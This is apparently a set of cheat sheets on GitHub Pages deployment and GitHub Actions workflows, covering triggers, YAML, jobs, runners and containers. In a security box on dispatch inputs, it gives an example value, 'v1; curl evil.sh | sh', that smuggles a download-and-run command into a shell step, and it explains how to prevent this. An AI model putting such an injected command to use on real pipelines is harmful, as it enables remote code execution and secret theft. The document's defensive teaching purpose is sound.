- verify + Enforce HTTPS — secure it

Building & Deploying Pages

GETTING YOUR SITE BUILT

With a **branch source**, GitHub builds the folder with **Jekyll** automatically (add `.nojekyll` to serve files as-is). With the **GitHub Actions** source, your own workflow builds the site with any generator (Vite, Astro, Hugo, Docusaurus, MkDocs), uploads it as a Pages artifact and deploys it. Actions is the recommended path for anything beyond plain Jekyll.

BUILD FACTS

- Settings → Pages → Source: **GitHub Actions** to use a workflow
- `404.html` at the site root becomes the not-found page
- Project sites live under `/REPO/`: set your generator's base path

WHO CAN DO THIS

- **Role:** Write (push, run workflows) · Admin (choose source)
- **Plan:** Free for public
- **Repos:** public (private with paid plans)

DEPLOY A VITE SITE WITH ACTIONS

```yaml
# .github/workflows/pages.yml
on: { push: { branches: [main] }, workflow_dispatch: }
permissions: { contents: read, pages: write, id-token: write }
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v6
      - uses: actions/setup-node@v6
        with: { node-version: 22, cache: npm }
      - run: npm ci && npm run build -- --base=/my-repo/
      - uses: actions/upload-pages-artifact@v4
        with: { path: dist }
  deploy:
    needs: build
    runs-on: ubuntu-latest
    environment: { name: github-pages, url: "${{ steps.d.outputs.page_url }}" }
    steps:
      - id: d
        uses: actions/deploy-pages@v4
```

CODE EXPLAINED

→ `pages: write` + `id-token: write` — required to deploy

→ `--base=/my-repo/` — project sites live in a subfolder

→ `upload-pages-artifact` — packages `dist` for Pages

→ `environment: github-pages` — shows the URL on the run

GENERATORS AND OUTPUT FOLDERS

TOOL	BUILD → FOLDER
Vite	npm run build → dist
Astro	npm run build → dist
Hugo	hugo → public
MkDocs	mkdocs build → site

TROUBLESHOOTING

SYMPTOM	FIX
CSS/JS 404 on project site	set base path to /REPO/
Underscore folders missing	add .nojekyll (branch source)
Deploy step 403	add pages + id-token permissions
Old content shown	hard refresh; CDN caches ~10 min

⚠ COMMON MISTAKES

- Forgetting the base path on project sites: blank page with 404s for assets
- Committing build output to `main` for a branch source when Actions would do it cleanly
- Two workflows deploying to Pages at once

✓ TIPS & BEST PRACTICES

- Add `workflow_dispatch` so you can redeploy without a commit
- Use `actions/configure-pages` to get the right base URL automatically
- Keep the Actions-side details in Sheet 65

QUICK SUMMARY

- branch source — Jekyll by default
- Actions source — any generator
- upload-pages-artifact → deploy-pages
- base path — `/REPO/` for project sites

Actions: Introduction & Mental Model

workflow · event · job · step · action · runner · .github/workflows/

WHAT GITHUB ACTIONS IS

GitHub Actions is the CI/CD and automation system built into GitHub. You commit a YAML **workflow** file to `.github/workflows/`; when an **event** happens (a push, a pull request, a schedule, a button click) GitHub starts a **run**. Each run contains one or more **jobs**, every job gets a fresh virtual machine called a **runner**, and each job runs its **steps** in order: shell commands (`run:`) or packaged, reusable **actions** (`uses:`).

GOOD TO KNOW

- Free for public repos on standard GitHub-hosted runners; private repos get a monthly minutes allowance
- Jobs run **in parallel** by default; steps inside a job always run in order
- Each job starts on a **clean machine**. Nothing carries over unless you use artifacts, caches or outputs
- **Git vs Actions:** Git tracks history; Actions reacts to it (Git commands: see the Git CLI set)

ANATOMY OF A WORKFLOW

```yaml
# .github/workflows/ci.yml            ← one file = one workflow
name: CI                              # shown in the Actions tab
on: [push, pull_request]              # EVENTS that start a run

jobs:                                 # one or more JOBS
  test:                               # job id
    runs-on: ubuntu-latest            # RUNNER (fresh VM per job)
    steps:                            # STEPS run top to bottom
      - uses: actions/checkout@v6     # an ACTION (reusable step)
      - uses: actions/setup-node@v6
        with: { node-version: 22 }    # inputs to the action
      - run: npm ci                   # a shell command
      - run: npm test
  lint:                               # 2nd job: runs in parallel
    runs-on: ubuntu-latest
    steps: [{ uses: actions/checkout@v6 }, { run: npx eslint . }]
```

CODE EXPLAINED

- → `name:` — label in the UI; defaults to the file path
- → `on:` — which events trigger the workflow (Sheets 43–45)
- → `jobs.<id>` — independent units of work; parallel unless linked with `needs:`
- → `runs-on:` — picks the runner image or label
- → `uses:` — runs an action from a repo, `owner/repo@ref`
- → `run:` — runs shell commands (bash on Linux/macOS, pwsh on Windows)
- → `with:` — passes inputs to an action

CORE VOCABULARY

TERM	MEANING
Workflow	A YAML file in `.github/workflows/`; the automation definition
Event	What triggers a run: `push`, `pull_request`, `schedule`…
Run	One execution of a workflow; has a number and logs
Job	A set of steps on one runner; has a result (success/failure/skipped)
Step	One command (`run`) or action (`uses`) inside a job
Action	Reusable step from a repo, Docker image or local folder
Runner	The machine that executes a job: GitHub-hosted or self-hosted

WHERE THINGS LIVE

PATH / PLACE	WHAT IT HOLDS
`.github/workflows/*.yml`	Workflow files (`.yml` or `.yaml`)
`action.yml`	Metadata for a custom action (Sheets 67–68)
`Actions tab`	Run history, logs, re-run buttons, artifacts
`Settings → Actions`	Permissions, allowed actions, runners
`Settings → Secrets…`	Secrets and config variables

⚠ COMMON MISTAKES

- Putting workflows in `.github/workflow/` (no **s**) or the repo root: GitHub ignores them silently
- Expecting files from one job to exist in another: each job is a new machine
- Assuming steps run in parallel like jobs: steps are always sequential within a job

✓ TIPS & BEST PRACTICES

- Start from a template: Actions tab → **New workflow** shows starters for your language
- Keep one concern per workflow (`ci.yml`, `deploy.yml`, `release.yml`) so triggers stay simple
- Read the run log top-down: every step is a collapsible group with its own timing

QUICK SUMMARY

- `workflow` — YAML file that reacts to events
- `job` — steps on one fresh runner; parallel by default
- `step` — `run:` a command or `uses:` an action
- `runner` — the VM picked by `runs-on:`

Actions: Your First Workflow

FROM ZERO TO A GREEN CHECK

Create `.github/workflows/ci.yml`, commit it, and push. GitHub reads every file in that folder on each event, finds the ones whose `on:` matches, and queues their jobs. The result shows up as a **check** on the commit and pull request: a yellow dot while running, a green ✓ or red ✗ when done. Click it, or open the **Actions** tab, to see the logs.

BEFORE YOU PUSH

- The workflow must exist on the branch that is pushed (for `push`) or the PR's head (for `pull_request`)
- Without `actions/checkout`, the runner has an **empty** working directory
- Pause a workflow: Actions tab → workflow → ··· → **Disable workflow**

A COMPLETE STARTER (PYTHON)

```yaml
# .github/workflows/ci.yml
name: CI
on:
  push:
    branches: [main]
  pull_request:

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - name: Check out code
        uses: actions/checkout@v6
      - name: Set up Python
        uses: actions/setup-python@v6
        with:
          python-version: "3.13"
      - name: Install dependencies
        run: pip install -r requirements.txt
      - name: Run tests
        run: pytest -q
```

CODE EXPLAINED

- → `branches: [main]` — run on pushes to main only
- → `pull_request:` — empty = every PR targeting any branch
- → `name:` on a step — readable label in the log
- → `"3.13"` — quoted so YAML doesn't read it as the number 3.13 (3.10 would become 3.1)
- → Non-zero exit code from any step fails the job and stops later steps

IN THE LOGS

- $ Success: `Job succeeded`, then a green ✓ on the commit and PR
- $ `Process completed with exit code 1.` — your command failed; scroll up to the first red line
- $ Run never appears → file in wrong folder, YAML error, or `on:` filter didn't match

STARTER SETUP ACTIONS

LANGUAGE	STEP
Node.js	`uses: actions/setup-node@v6 · node-version: 22`
Python	`uses: actions/setup-python@v6 · python-version: "3.13"`
Java	`uses: actions/setup-java@v5 · distribution: temurin`
Go	`uses: actions/setup-go@v6 · go-version-file: go.mod`

READING A RUN

WHERE	WHAT YOU SEE
Commit / PR checks	One line per job: ✓ ✗ ● or skipped
Actions → run	Summary, job graph, artifacts, annotations
Job log	Set up job → your steps → Post steps → Complete job
Re-run jobs	Re-run all, failed only, or with debug logging

⚠ COMMON MISTAKES

- Forgetting `actions/checkout`: the next step fails with "file not found" because the workspace is empty
- Unquoted versions like `python-version: 3.10`: YAML reads 3.1
- Testing a new workflow on a feature branch with `branches: [main]`: it never fires there

✓ TIPS & BEST PRACTICES

- Add `workflow_dispatch:` to `on:` so you can start the run by hand while testing (Sheet 44)
- Check the **version** major tags on each action's README; pin and update via Dependabot (Sheet 63)
- Use `npm ci` / `pip install -r` not `npm install`, so CI matches the lockfile exactly

QUICK SUMMARY

- `.github/workflows/ci.yml` — commit it and push
- `actions/checkout` — always the first step
- `setup-*` actions — install the language toolchain
- exit code ≠ 0 — fails the step and job

Actions: YAML for Workflows

JUST ENOUGH YAML

Workflow files are YAML: indentation (spaces only, usually 2) shows nesting, `key: value` makes a **map**, and `- item` makes a **list**. Most workflow bugs are YAML bugs: a wrong indent, an unquoted value that YAML turns into a boolean or number, or a multi-line `run:` written with the wrong block style. GitHub supports **anchors and aliases** (`&name` / `*name`) to reuse a block.

YAML TRAPS

- Tabs are illegal; use spaces
- `on` is fine as a key in workflows, but `yes` / `no` / `on` / `off` as **values** may become booleans in other tools; quote them
- Values starting with `*`, `&`, `!`, `{`, `[`, `@` or containing `: ` must be quoted
- Anchors work within one file only; merge keys (`<<:`) are **not** supported

LISTS, BLOCKS AND ANCHORS

```yaml
on:
  push:
    branches: [main, "release/**"]   # flow list
    paths:                           # block list
      - "src/**"
      - "!src/docs/**"
jobs:
  test:
    runs-on: ubuntu-latest
    env: &common-env                 # anchor this map
      NODE_ENV: test
    steps:
      - run: |                       # literal: keeps newlines
          npm ci
          npm test
      - run: >                       # folded: newlines → spaces
          echo one
          two three                  # runs: echo one two three
  build:
    runs-on: ubuntu-latest
    env: *common-env                 # reuse the anchored map
    steps:
      - run: echo "$NODE_ENV"        # test
```

CODE EXPLAINED

→ `[a, b]` and `- a` lines — two ways to write the same list

→ `|` — literal block; each line is a separate shell line

→ `>` — folded block; joins lines with spaces (rarely what you want for `run:`)

→ `&common-env` — names a node; `*common-env` pastes it

→ `"release/**"` — quoted because `*` would start an alias

IN THE LOGS

$ `Invalid workflow file: .github/workflows/ci.yml#L12` — YAML or schema error; the run fails instantly with no jobs

$ `You have an error in your yaml syntax on line 12` — usually indentation; check the line **above** too

SCALARS AND QUOTING

WRITE	YAML READS IT AS
`version: 3.10`	number `3.1` ✖ — quote it: `"3.10"`
`flag: yes`	boolean true in YAML 1.1 tools
`path: *.js`	error: alias — write `"*.js"`
`msg: "tab\there"`	double quotes: backslash escapes work

BLOCK SCALAR MODIFIERS

INDICATOR	EFFECT
`|`	keep newlines, one trailing newline
`|-`	keep newlines, strip the final newline
`>`	fold lines into one, single trailing newline
`>-`	fold and strip final newline

⚠ COMMON MISTAKES

- Mixing 2- and 4-space indents within one list: the item lands under the wrong key
- Using `>` for multi-command `run:` blocks: commands get glued onto one line
- Trying `<<: *anchor` to merge and override keys: GitHub rejects merge keys

✓ TIPS & BEST PRACTICES

- Run **actionlint** locally or in CI: it catches YAML, expression and shellcheck errors before you push
- Use the VS Code **GitHub Actions** extension for schema-aware autocomplete and validation
- Prefer `|` for every multi-line `run:` ; it reads exactly like a shell script

QUICK SUMMARY

- `key: value` / `- item` — maps and lists
- `|` — literal multi-line block (use for `run:`)
- `"quote"` — versions, globs, special characters
- `&a` / `*a` — anchor and reuse within one file

Actions: Push & Pull Request Triggers

THE TWO TRIGGERS YOU USE MOST

`push` fires when commits or tags land on a branch. `pull_request` fires on PR activity and runs against a **merge commit** of the PR head into the base, so you test what would actually land. Both accept **filters**: `branches`, `tags` and `paths` (with `–ignore` variants) use glob patterns; `types` picks which PR activities count.

FILTER RULES

- Inside one event, `branches` and `paths` must **both** match
- `pull_request` default types: `opened`, `synchronize`, `reopened`
- `branches` on `pull_request` filters the **base** (target) branch, not the head
- PRs from forks get a read-only token and **no secrets**

FILTERS IN ACTION

```yaml
on:
  push:
    branches:
      - main
      - "release/**"          # release/1.0, release/2.x/hotfix
      - "!release/**-alpha"   # ...but not these
    tags: ["v*"]              # v1.0.0, v2-beta
    paths-ignore: ["**.md", "docs/**"]
  pull_request:
    branches: [main]          # PRs that TARGET main
    types: [opened, synchronize, reopened, ready_for_review]
    paths: ["src/**", "package*.json"]
jobs:
  test:
    if: github.event.pull_request.draft != true
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v6
      - run: npm ci && npm test
```

CODE EXPLAINED

- → `"release/**"` — `**` matches across `/`; `*` stops at `/`
- → `"!..."` — exclude; order matters, later patterns win
- → `tags:` — with only `tags`, branch pushes don't trigger
- → `paths-ignore` — doc-only pushes skip CI
- → `ready_for_review` — run when a draft PR is marked ready
- → `if: ...draft != true` — skip drafts at job level

SECURITY CHECK

- ! **Risk:** `pull_request_target` runs in the **base** repo's context with secrets and a write token. Checking out and running the PR's code there lets a fork steal secrets.
- ! **Fix:** use `pull_request` for building and testing untrusted code; keep `pull_request_target` for labeling or commenting only, and never check out `github.event.pull_request.head.sha` in it.

GLOB PATTERNS

PATTERN	MATCHES
`main`	exactly main
`feature/*`	feature/login, not feature/a/b
`feature/**`	any depth under feature/
`**.js`	any .js file in any folder
`!docs/**`	exclude (needs a positive pattern first)

COMMON PULL_REQUEST TYPES

TYPE	WHEN
`opened / reopened`	PR created or reopened
`synchronize`	new commits pushed to the head branch
`ready_for_review`	draft → ready
`labeled / unlabeled`	label added or removed
`closed`	merged or closed; check `github.event.pull_request.merged`

⚠ COMMON MISTAKES

- Expecting `branches:` under `pull_request` to match the PR's source branch: it matches the target
- Adding `tags:` and losing branch builds: once `tags` or `branches` is set, only the listed refs fire
- Path filters on required checks: a skipped workflow leaves the check **Pending** forever, blocking merges

✓ TIPS & BEST PRACTICES

- For required checks with path filters, filter inside the job (e.g. `dorny/paths-filter`) so the check still reports
- Use `closed` + `if: github.event.pull_request.merged` for post-merge actions on PRs
- Pushes of more than 1,000 commits or very large diffs may skip path filtering and always run

QUICK SUMMARY

- `push` — commits/tags; filter `branches`, `tags`, `paths`
- `pull_request` — runs on the merge commit; read-only for forks
- `types:` — which PR activities trigger
- `pull_request_target` — base context, secrets: handle with care

Actions: Manual & Scheduled Triggers

RUN IT BY HAND OR ON A CLOCK

`workflow_dispatch` adds a **Run workflow** button to the Actions tab (and enables `gh workflow run` and the REST API), with up to **25 typed inputs**. `schedule` runs on a **cron** expression; times are UTC unless you add a `timezone:` key with an IANA name. Scheduled runs use the workflow file on the **default branch** only.

SCHEDULING FACTS

- Shortest interval is 5 minutes; runs can start late during busy periods, especially at the top of the hour: pick an odd minute
- In public repos, schedules are **disabled after 60 days** with no repo activity
- The dispatch button only appears once the workflow file is on the default branch
- Read inputs with `inputs.name` (typed) — also on `github.event.inputs` (always strings)

INPUTS AND A SCHEDULE

```yaml
on:
  workflow_dispatch:
    inputs:
      environment:
        type: choice
        options: [staging, production]
        default: staging
      dry-run: { type: boolean, default: true }
      version:
        required: true
        type: string
  schedule:
    - cron: "17 6 * * 1-5"        # 06:17 Mon-Fri
      timezone: "America/Chicago" # omit = UTC
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - env: { VERSION: "${{ inputs.version }}" }   # safe: via env
        run: echo "Deploying $VERSION"
      - if: ${{ !inputs.dry-run }}
        run: ./deploy.sh
```

CODE EXPLAINED

- → `type:` — `string`, `boolean`, `choice`, `number`, `environment`
- → `required: true` — UI and API refuse to start without it
- → `cron:` — minute hour day month weekday
- → `timezone:` — IANA name; handles daylight saving
- → `inputs.*` — empty on scheduled runs; set defaults with `||`
- → `gh workflow run deploy.yml -f version=v1.4.0` — start from the CLI

SECURITY CHECK

! **Risk:** dispatch inputs are typed by whoever runs the workflow. Pasting `${{ inputs.version }}` straight into `run:` lets `v1; curl evil.sh | sh` execute.

! **Fix:** pass inputs through `env:` and quote them (`"$VERSION"`), and validate format (e.g. `[[ $VERSION =~ ^v[0-9.]+$ ]]`).

CRON CHEATS

EXPRESSION	RUNS
`*/15 * * * *`	every 15 minutes
`0 9 * * 1`	Mondays 09:00
`0 0 1 * *`	1st of each month
`0 12 * * 1-5`	weekdays at noon

INPUT TYPES

TYPE	UI / VALUE
`string`	text box → string
`boolean`	checkbox → true/false (typed via `inputs`)
`choice`	dropdown from `options:`
`environment`	dropdown of repo environments

⚠ COMMON MISTAKES

- Comparing `github.event.inputs.dry-run == true` : that context holds the **string** `'true'` ; use `inputs.dry-run`
- Editing the cron on a feature branch and waiting: only the default branch's file counts
- Forgetting UTC: `0 9 * * *` without `timezone:` is 3–4 AM in Chicago

✓ TIPS & BEST PRACTICES

- Add `workflow_dispatch:` to every scheduled workflow so you can test it on demand
- `gh workflow run ci.yml --ref my-branch` dispatches against a branch (the file must exist there)
- Use `crontab.guru` to sanity-check expressions

QUICK SUMMARY

- `workflow_dispatch` — button/CLI/API, up to 25 inputs
- `inputs.name` — typed input values
- `schedule: - cron:` — UTC unless `timezone:`
- default branch only — for schedules

Actions: Chained & Other Events

BEYOND PUSH AND PR

Workflows can react to almost any repo event. `workflow_run` starts one workflow when another finishes, which is how you separate an untrusted build from a privileged deploy. `repository_dispatch` lets an outside system trigger a run through the API. `release`, `issues`, `issue_comment` and `merge_group` cover releases, issue bots and merge queues.

RULES THAT SURPRISE PEOPLE

- `workflow_run`, `issues`, `issue_comment`, `repository_dispatch` and `release` use the workflow file on the **default branch**
- Events made with `GITHUB_TOKEN` (e.g. a workflow's push) **don't** start new runs, except dispatch events
- `[skip ci]`, `[ci skip]`, `[no ci]`, `[skip actions]` in a commit message skip `push` and `pull_request` runs

CHAINING AND EXTERNAL TRIGGERS

```yaml
# deploy.yml — runs after CI finishes on main
on:
  workflow_run:
    workflows: ["CI"]          # the other workflow's name:
    types: [completed]
    branches: [main]
  repository_dispatch:
    types: [deploy-request]    # sent by an external system
  release:
    types: [published]
jobs:
  deploy:
    if: >-
      github.event_name != 'workflow_run' ||
      github.event.workflow_run.conclusion == 'success'
    runs-on: ubuntu-latest
    steps:
      - run: echo "Triggered by ${{ github.event_name }}"
      - run: echo "Payload: ${{ github.event.client_payload.env }}"
# Send: POST /repos/OWNER/REPO/dispatches {"event_type": "…"}
```

CODE EXPLAINED

- → `workflows: ["CI"]` — matches the other file's `name:`, not its filename
- → `types: [completed]` — fires on success **and** failure; check `conclusion`
- → `client_payload` — your JSON from the dispatch call
- → `release: published` — skip `created` to avoid draft noise
- → `>-` — folded, keeps the long `if:` on one logical line

SECURITY CHECK

- ! **Risk:** a `workflow_run` deploy has secrets and write access, but the artifacts it downloads came from a run that may have built a fork's PR.
- ! **Fix:** check the run's `head_repository.full_name` equals `github.repository` first, and treat artifact contents as data, never as code to run.

OTHER USEFUL EVENTS

EVENT	FIRES WHEN
`release`	published, created, released, prereleased
`issues`	opened, labeled, closed, assigned…
`issue_comment`	comment on an issue **or** a PR
`merge_group`	PR enters a merge queue (required for queues)
`workflow_call`	called as a reusable workflow (Sheet 66)

TELLING EVENTS APART

EXPRESSION	USE
`github.event_name`	`'push'`, `'pull_request'`…
`github.event.action`	the activity type, e.g. `'labeled'`
`github.event.workflow_run.conclusion`	`success` / `failure` / `cancelled`
`github.event.release.tag_name`	e.g. `v1.2.0`

⚠ COMMON MISTAKES

- Pushing a commit with `GITHUB_TOKEN` and waiting for CI to run on it: it won't
- Using `workflow_run` without a `conclusion == 'success'` check: you deploy failed builds
- Enabling a merge queue without adding `merge_group` to CI: PRs sit in the queue forever

✓ TIPS & BEST PRACTICES

- Mint a short-lived App token with `actions/create-github-app-token` when a push must trigger CI
- `[skip ci]` doesn't apply to `pull_request_target` or scheduled runs
- Log `${{ toJSON(github.event) }}` once to discover payload fields

QUICK SUMMARY

- `workflow_run` — chain after another workflow
- `repository_dispatch` — external API trigger
- `release` / `issues` / `merge_group` — repo activity
- `GITHUB_TOKEN` events — don't re-trigger workflows

Actions: Jobs & Dependencies

ORDERING AND LINKING JOBS

Every key under `jobs:` is an independent job with its own runner. Jobs run **in parallel** unless `needs:` creates a dependency, which turns the workflow into a graph (shown visually on the run page). A job that `needs` a failed job is **skipped** unless its `if:` includes a status function like `always()`. Jobs share data only through **outputs** and **artifacts**.

JOB FACTS

- Job ids: letters, digits, `-`, `_`; start with a letter or `_`
- Default `timeout-minutes` is 360 (6 hours)
- `needs.<job>.result` is `success`, `failure`, `cancelled` or `skipped`
- `continue-on-error: true` lets the run succeed even if this job fails

BUILD → TEST → DEPLOY

```yaml
jobs:
  build:
    runs-on: ubuntu-latest
    outputs:
      version: ${{ steps.ver.outputs.version }}
    steps: [{ id: ver, run: echo version=1.4.0 >> $GITHUB_OUTPUT }]
  test:
    needs: build
    runs-on: ubuntu-latest
    continue-on-error: true             # flaky suite: don't block
    steps: [{ run: "echo test ${{ needs.build.outputs.version }}" }]
  deploy:
    needs: [build, test]                # waits for both
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    steps: [{ run: "echo v${{ needs.build.outputs.version }}" }]
  notify:
    needs: deploy
    if: always()                        # run even if deploy failed
    runs-on: ubuntu-latest
    steps: [{ run: "echo deploy was ${{ needs.deploy.result }}" }]
```

CODE EXPLAINED

→ `outputs:` — map step outputs up to the job level

→ `needs: build` — waits; also exposes `needs.build.outputs`

→ `if:` at job level — skip the whole job; no `${{ }}` needed

→ `always()` — run regardless of upstream result

IN THE LOGS

$ Skipped job shows a grey ⊘ and `This job was skipped` — an upstream `needs` failed or `if:` was false

$ Empty `needs.x.outputs.y` — step `id:` missing, or the key never reached `$GITHUB_OUTPUT`

JOB-LEVEL KEYS

KEY	PURPOSE
`name` / `runs-on`	display name · runner label
`needs` / `if`	dependencies · run condition
`outputs`	values for downstream jobs
`env` / `defaults`	env vars · default `run` settings
`timeout-minutes`	kill after N minutes

COMMON GRAPH SHAPES

SHAPE	HOW
Fan-out	several jobs with `needs: build`
Fan-in	`needs: [test-a, test-b, lint]`
Gate	`deploy` with `if:` on branch + `environment:`
Required check	one summary job that `needs` all others

⚠ COMMON MISTAKES

- Using `if: success()` on a job after `continue-on-error`: the upstream counts as success, so it runs
- Reading `steps.x.outputs` from another job: only `needs.<job>.outputs` crosses job boundaries
- Forgetting `always()` on cleanup: it's skipped the moment anything upstream fails

✓ TIPS & BEST PRACTICES

- Make one `all-checks` job that `needs` every job and mark only it as a required check
- Outputs are strings and capped at 1 MB per job; pass files with artifacts instead
- Give jobs a `name:` so the checks list reads well in PRs

QUICK SUMMARY

- `jobs.<id>` — parallel by default
- `needs:` — order and data dependencies
- `outputs:` + `needs.x.outputs` — pass values
- `if: always()` — run after failures

Actions: GitHub-Hosted Runners

MACHINES GITHUB RUNS FOR YOU

A GitHub-hosted runner is a fresh VM created for one job and destroyed afterward. You pick it with a **label** in `runs-on:`. Images come with a large preinstalled toolset (Git, Docker on Linux, Node, Python, Java, compilers, cloud CLIs), and the `-latest` labels move to new OS versions over time. Paid **larger runners** add more CPU, RAM, GPUs or static IPs.

RUNNER FACTS

- Standard Linux runner: 4 vCPU / 16 GB on public repos, 2 vCPU / 7 GB on private
- Private-repo minutes cost more on Windows (≈2×) and macOS (≈10×) than Linux
- `-latest` labels switch images gradually; pin `ubuntu-24.04` when you need stability
- Each job has passwordless `sudo` on Linux/macOS
- Installed software list: the runner-images repo, linked from each job's **Set up job** log

PICKING RUNNERS

```yaml
jobs:
  linux:
    runs-on: ubuntu-latest          # x64
    steps:
      - run: echo "$RUNNER_OS $RUNNER_ARCH"   # Linux X64
  arm:
    runs-on: ubuntu-24.04-arm       # native ARM64
    steps: [{ run: uname -m }]      # aarch64
  windows:
    runs-on: windows-latest
    steps: [{ run: "Get-ChildItem env:" }]  # shell: pwsh
  mac:
    runs-on: macos-latest           # Apple silicon
    steps: [{ run: xcodebuild -version }]
  big:
    runs-on: ubuntu-latest-16-core  # larger runner (org setup)
    steps: [{ run: nproc }]
```

CODE EXPLAINED

→ `ubuntu-latest` — cheapest, fastest to start; default choice

→ `ubuntu-24.04-arm` — native ARM builds, no QEMU

→ `windows-latest` — default shell is PowerShell Core

→ `macos-latest` — needed for iOS/macOS builds; 10× minutes

→ Larger runner labels are names you set in org settings

IN THE LOGS

$ `Waiting for a runner to pick up this job...` for a long time — the label doesn't exist (typo, or a larger runner not set up) or you hit the concurrency limit

$ `Set up job` → **Runner Image** shows the exact image version used

STANDARD LABELS

LABEL	OS / ARCH
`ubuntu-latest` / `ubuntu-24.04`	Ubuntu 24.04 x64
`ubuntu-22.04`	Ubuntu 22.04 x64
`ubuntu-24.04-arm`	Ubuntu 24.04 ARM64
`windows-latest` / `windows-2025`	Windows Server 2025 x64
`macos-latest` / `macos-15`	macOS 15 ARM64
`macos-15-intel`	macOS 15 x64

RUNNER CONTEXT & ENV

USE	VALUE
`runner.os`	`Linux`, `Windows`, `macOS`
`runner.arch`	`X64`, `ARM64`
`runner.temp`	temp dir, emptied per job
`runner.tool_cache`	preinstalled tool versions
`github.workspace`	checkout folder (`$GITHUB_WORKSPACE`)
`runner.environment`	`github-hosted` or `self-hosted`

⚠ COMMON MISTAKES

- Running macOS for jobs that don't need it: 10× the minutes on private repos
- Hard-coding `/home/runner/work/...`: use `$GITHUB_WORKSPACE` and `$RUNNER_TEMP`
- Assuming a tool version: `-latest` image updates can change preinstalled versions; use `setup-*` actions

✓ TIPS & BEST PRACTICES

- Check usage under Settings → Billing → **Usage**; public repos on standard runners are free
- Use `ubuntu-24.04-arm` to build ARM Docker images natively instead of emulating
- Free up Linux disk space by deleting unused SDKs (`/usr/share/dotnet`, `/opt/ghc`) when builds run out

QUICK SUMMARY

- `runs-on: ubuntu-latest` — default, 1× minutes
- `*-arm` labels — native ARM64
- `windows` 2× · `macos` 10× — private-repo minutes
- larger runners — paid, custom labels

Actions: Self-Hosted Runners

YOUR OWN MACHINES

A **self-hosted runner** is the open-source runner app installed on a machine you control: a server, a VM, a Mac mini, or a pod in Kubernetes. It polls GitHub over HTTPS (outbound only), picks up jobs whose `runs-on` labels it has, and runs them. Use it for special hardware (GPUs), private network access, or big caches. Minutes on your own runners aren't charged against your included minutes.

RUNNER FACTS

- Default labels: `self-hosted`, OS (`linux`, `windows`, `macOS`), arch (`x64`, `ARM64`)
- Jobs need **all** listed labels to match
- Not wiped between jobs unless you make it ephemeral
- Runners not seen for 14 days are removed automatically

REGISTER AND TARGET A RUNNER

```
# On the machine (token: Settings → Actions → Runners → New)
mkdir actions-runner && cd actions-runner
curl -o runner.tar.gz -L <download-url-from-settings>
tar xzf runner.tar.gz
./config.sh --url https://github.com/OWNER/REPO \
            --token <REG_TOKEN> \
            --labels gpu,cuda12 \
            --ephemeral              # one job, then deregister
sudo ./svc.sh install && sudo ./svc.sh start   # run as a service

# In the workflow:
#   runs-on: [self-hosted, linux, gpu]
#   runs-on: { group: build-farm, labels: [linux] }
```

CODE EXPLAINED

- → `config.sh --url` — repo, org or enterprise URL decides the scope
- → `--labels` — custom labels added to the defaults
- → `--ephemeral` — clean runner per job; pair with autoscaling
- → `svc.sh` — install as a systemd/launchd service
- → `group:` — runner groups limit which repos can use them

SECURITY CHECK

- ! **Risk:** on a **public** repo, any fork PR can run code on your runner and persist malware between jobs.
- ! **Fix:** only use self-hosted runners for private repos (or require approval for fork PRs), run them `--ephemeral`, and isolate them from production networks.

IN THE LOGS

- $ `Waiting for a runner to pick up this job...` — no online runner has every label; check Settings → Runners for **Idle** status
- $ `Runner listener exited with error code` on the host — expired token or network block to github.com

WHERE TO REGISTER

LEVEL	WHO CAN USE IT
Repository	that repo only
Organization	repos allowed by the runner group
Enterprise	orgs allowed by enterprise groups
ARC (Kubernetes)	autoscaled ephemeral pods via Helm
Hosted larger runners	GitHub-managed alternative, no upkeep

HOSTED VS SELF-HOSTED

CONCERN	SELF-HOSTED
Cleanup	you clean up (or use `--ephemeral`)
Updates	runner auto-updates; OS patches are yours
Tools	install everything the job needs
Network	outbound HTTPS to GitHub only
Cost	free minutes; you pay for the machine

⚠ COMMON MISTAKES

- Labels that don't match exactly: jobs queue forever instead of failing
- Long-lived runners leaking state (files, Docker images, credentials) into the next job
- Running as root or with prod credentials on the box: one bad workflow owns everything

✓ TIPS & BEST PRACTICES

- Use **Actions Runner Controller** (ARC) to autoscale ephemeral runners on Kubernetes
- Create registration tokens via the API for automation; they expire after 1 hour
- Restrict org runners to selected repos with **runner groups**

QUICK SUMMARY

- `./config.sh` — register with URL + token
- `runs-on: [self-hosted, label]` — target it
- `--ephemeral` — one job per runner
- never on public repos without isolation

Actions: Job & Service Containers

DOCKER INSIDE A JOB

`container:` runs every step of a job **inside** a Docker image, so the job gets exactly that OS and toolset. `services:` starts **sidecar containers** (databases, caches, queues) for the job's lifetime. Both need a Linux runner with Docker. How you reach a service depends on where your steps run: by **service name** from a job container, by **localhost + mapped port** from the runner.

RULES

- Linux runners only (hosted `ubuntu-*` or self-hosted Linux with Docker)
- Services start before the first step and stop after the last
- `options:` passes extra `docker create` flags
- Private images: add `credentials: { username, password }`

TESTS AGAINST POSTGRES

```yaml
jobs:
  test:
    runs-on: ubuntu-latest
    container: node:22                  # steps run in this image
    services:
      postgres:
        image: postgres:17
        env:
          POSTGRES_PASSWORD: pw
        options: >-
          --health-cmd "pg_isready -U postgres"
          --health-interval 5s --health-retries 10
    steps:
      - uses: actions/checkout@v6
      - run: npm ci && npm test
        env:
          DATABASE_URL: postgres://postgres:pw@postgres:5432/postgres
```

CODE EXPLAINED

- → `container: node:22` — all `run:` steps execute inside it
- → `services.postgres` — key becomes the hostname `postgres`
- → `--health-cmd` — runner waits until healthy before steps start
- → `@postgres:5432` — reach by name (steps are in a container)

IN THE LOGS

- $ `Service container postgres failed.` / `unhealthy` — check the health command and env; the service's logs appear in **Initialize containers**
- $ `ECONNREFUSED 127.0.0.1:5432` — you're in a job container: use the service name, not localhost

WHICH HOSTNAME?

STEPS RUN ON…	CONNECT TO
`job container`	`postgres:5432` (service name, container port)
`the runner itself`	`localhost:5432` with `ports: ['5432:5432']`
`runner, random port`	`ports: ['5432']` → `job.services.postgres.ports[5432]`

CONTAINER KEYS

KEY	PURPOSE
`image`	Docker image (required)
`env`	environment variables
`ports`	publish to the runner host
`volumes`	mount host paths / named volumes
`options`	extra `docker create` flags

⚠ COMMON MISTAKES

- Using `localhost` from a job container: services are on a Docker network, not the container's loopback
- No health check: tests start before the database accepts connections
- Expecting `container:` on Windows or macOS runners: not supported

